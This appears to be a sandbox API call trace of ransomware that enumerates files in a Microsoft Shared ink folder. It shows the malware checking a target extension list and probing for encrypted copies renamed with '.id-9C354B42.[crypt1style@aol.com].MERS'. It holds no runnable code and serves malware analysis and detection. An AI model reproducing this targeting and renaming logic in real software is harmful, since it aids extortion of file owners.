lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString=".jpg") returned 4 [0039.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString=".doc") returned 4 [0039.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString=".docx") returned 5 [0039.894] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0039.894] lstrlenW (lpString=".pdf") returned 4 [0039.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString=".xls") returned 4 [0039.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString=".xlsx") returned 5 [0039.894] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0039.894] lstrlenW (lpString=".ppt") returned 4 [0039.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.894] lstrlenW (lpString=".zip") returned 4 [0039.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.894] lstrlenW (lpString=".rar") returned 4 [0039.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.894] lstrlenW (lpString=".bz2") returned 4 [0039.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.895] lstrlenW (lpString=".7z") returned 3 [0039.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.895] lstrlenW (lpString=".dbf") returned 4 [0039.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.895] lstrlenW (lpString=".1cd") returned 4 [0039.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.895] lstrlenW (lpString=".jpg") returned 4 [0039.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.895] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.895] lstrlenW (lpString="ipshrv.xml") returned 10 [0039.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.896] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2652) returned 1 [0039.896] CloseHandle (hObject=0x1e4) returned 1 [0039.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0039.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.896] lstrlenW (lpString=".doc") returned 4 [0039.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.896] lstrlenW (lpString=".docx") returned 5 [0039.896] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0039.896] lstrlenW (lpString=".pdf") returned 4 [0039.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.896] lstrlenW (lpString=".xls") returned 4 [0039.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString=".xlsx") returned 5 [0039.897] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0039.897] lstrlenW (lpString=".ppt") returned 4 [0039.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.897] lstrlenW (lpString=".zip") returned 4 [0039.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.897] lstrlenW (lpString=".rar") returned 4 [0039.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString=".bz2") returned 4 [0039.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString=".7z") returned 3 [0039.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.897] lstrlenW (lpString=".dbf") returned 4 [0039.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.897] lstrlenW (lpString=".1cd") returned 4 [0039.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.897] lstrlenW (lpString=".jpg") returned 4 [0039.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.898] lstrlenW (lpString=".doc") returned 4 [0039.898] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.898] lstrlenW (lpString=".docx") returned 5 [0039.898] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0039.898] lstrlenW (lpString=".pdf") returned 4 [0039.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.898] lstrlenW (lpString=".xls") returned 4 [0039.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.898] lstrlenW (lpString=".xlsx") returned 5 [0039.898] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0039.898] lstrlenW (lpString=".ppt") returned 4 [0039.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.898] lstrlenW (lpString=".zip") returned 4 [0039.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.898] lstrlenW (lpString=".rar") returned 4 [0039.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.898] lstrlenW (lpString=".bz2") returned 4 [0039.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.899] lstrlenW (lpString=".7z") returned 3 [0039.899] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.899] lstrlenW (lpString=".dbf") returned 4 [0039.899] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.899] lstrlenW (lpString=".1cd") returned 4 [0039.899] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0039.899] lstrlenW (lpString=".jpg") returned 4 [0039.899] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.899] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.899] lstrlenW (lpString="ipsita.xml") returned 10 [0039.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.900] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2526) returned 1 [0039.900] CloseHandle (hObject=0x1e4) returned 1 [0039.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0039.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.900] lstrlenW (lpString=".doc") returned 4 [0039.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.900] lstrlenW (lpString=".docx") returned 5 [0039.900] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0039.900] lstrlenW (lpString=".pdf") returned 4 [0039.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.900] lstrlenW (lpString=".xls") returned 4 [0039.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.900] lstrlenW (lpString=".xlsx") returned 5 [0039.900] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0039.900] lstrlenW (lpString=".ppt") returned 4 [0039.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.900] lstrlenW (lpString=".zip") returned 4 [0039.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.900] lstrlenW (lpString=".rar") returned 4 [0039.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.900] lstrlenW (lpString=".bz2") returned 4 [0039.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString=".7z") returned 3 [0039.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString=".dbf") returned 4 [0039.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString=".1cd") returned 4 [0039.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString=".jpg") returned 4 [0039.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString=".doc") returned 4 [0039.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString=".docx") returned 5 [0039.901] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0039.901] lstrlenW (lpString=".pdf") returned 4 [0039.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString=".xls") returned 4 [0039.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString=".xlsx") returned 5 [0039.901] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0039.901] lstrlenW (lpString=".ppt") returned 4 [0039.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.901] lstrlenW (lpString=".zip") returned 4 [0039.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.901] lstrlenW (lpString=".rar") returned 4 [0039.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.901] lstrlenW (lpString=".bz2") returned 4 [0039.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.902] lstrlenW (lpString=".7z") returned 3 [0039.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.902] lstrlenW (lpString=".dbf") returned 4 [0039.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.902] lstrlenW (lpString=".1cd") returned 4 [0039.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.902] lstrlenW (lpString=".jpg") returned 4 [0039.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.902] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.902] lstrlenW (lpString="ipsjpn.xml") returned 10 [0039.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.903] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2522) returned 1 [0039.903] CloseHandle (hObject=0x1e4) returned 1 [0039.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0039.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.903] lstrlenW (lpString=".doc") returned 4 [0039.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.903] lstrlenW (lpString=".docx") returned 5 [0039.903] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.903] lstrlenW (lpString=".pdf") returned 4 [0039.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.903] lstrlenW (lpString=".xls") returned 4 [0039.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.903] lstrlenW (lpString=".xlsx") returned 5 [0039.903] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.903] lstrlenW (lpString=".ppt") returned 4 [0039.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.903] lstrlenW (lpString=".zip") returned 4 [0039.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.904] lstrlenW (lpString=".rar") returned 4 [0039.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString=".bz2") returned 4 [0039.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString=".7z") returned 3 [0039.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString=".dbf") returned 4 [0039.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString=".1cd") returned 4 [0039.904] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString=".jpg") returned 4 [0039.904] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString=".doc") returned 4 [0039.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString=".docx") returned 5 [0039.904] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.904] lstrlenW (lpString=".pdf") returned 4 [0039.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString=".xls") returned 4 [0039.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString=".xlsx") returned 5 [0039.904] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.904] lstrlenW (lpString=".ppt") returned 4 [0039.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.904] lstrlenW (lpString=".zip") returned 4 [0039.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.905] lstrlenW (lpString=".rar") returned 4 [0039.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.905] lstrlenW (lpString=".bz2") returned 4 [0039.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.905] lstrlenW (lpString=".7z") returned 3 [0039.905] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.905] lstrlenW (lpString=".dbf") returned 4 [0039.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.905] lstrlenW (lpString=".1cd") returned 4 [0039.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.905] lstrlenW (lpString=".jpg") returned 4 [0039.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.905] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.905] lstrlenW (lpString="ipskor.xml") returned 10 [0039.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.906] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2568) returned 1 [0039.906] CloseHandle (hObject=0x1e4) returned 1 [0039.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0039.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.907] lstrlenW (lpString=".doc") returned 4 [0039.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString=".docx") returned 5 [0039.907] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0039.907] lstrlenW (lpString=".pdf") returned 4 [0039.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString=".xls") returned 4 [0039.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString=".xlsx") returned 5 [0039.907] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0039.907] lstrlenW (lpString=".ppt") returned 4 [0039.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.907] lstrlenW (lpString=".zip") returned 4 [0039.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.907] lstrlenW (lpString=".rar") returned 4 [0039.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString=".bz2") returned 4 [0039.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.907] lstrlenW (lpString=".7z") returned 3 [0039.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".dbf") returned 4 [0039.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".1cd") returned 4 [0039.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".jpg") returned 4 [0039.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".doc") returned 4 [0039.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString=".docx") returned 5 [0039.908] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0039.908] lstrlenW (lpString=".pdf") returned 4 [0039.908] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString=".xls") returned 4 [0039.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString=".xlsx") returned 5 [0039.908] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0039.908] lstrlenW (lpString=".ppt") returned 4 [0039.908] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".zip") returned 4 [0039.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.908] lstrlenW (lpString=".rar") returned 4 [0039.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString=".bz2") returned 4 [0039.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString=".7z") returned 3 [0039.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.908] lstrlenW (lpString=".dbf") returned 4 [0039.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.909] lstrlenW (lpString=".1cd") returned 4 [0039.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.909] lstrlenW (lpString=".jpg") returned 4 [0039.909] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.909] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0039.909] lstrlenW (lpString="ipsnld.xml") returned 10 [0039.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.909] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2626) returned 1 [0039.909] CloseHandle (hObject=0x1e4) returned 1 [0039.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0039.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.909] 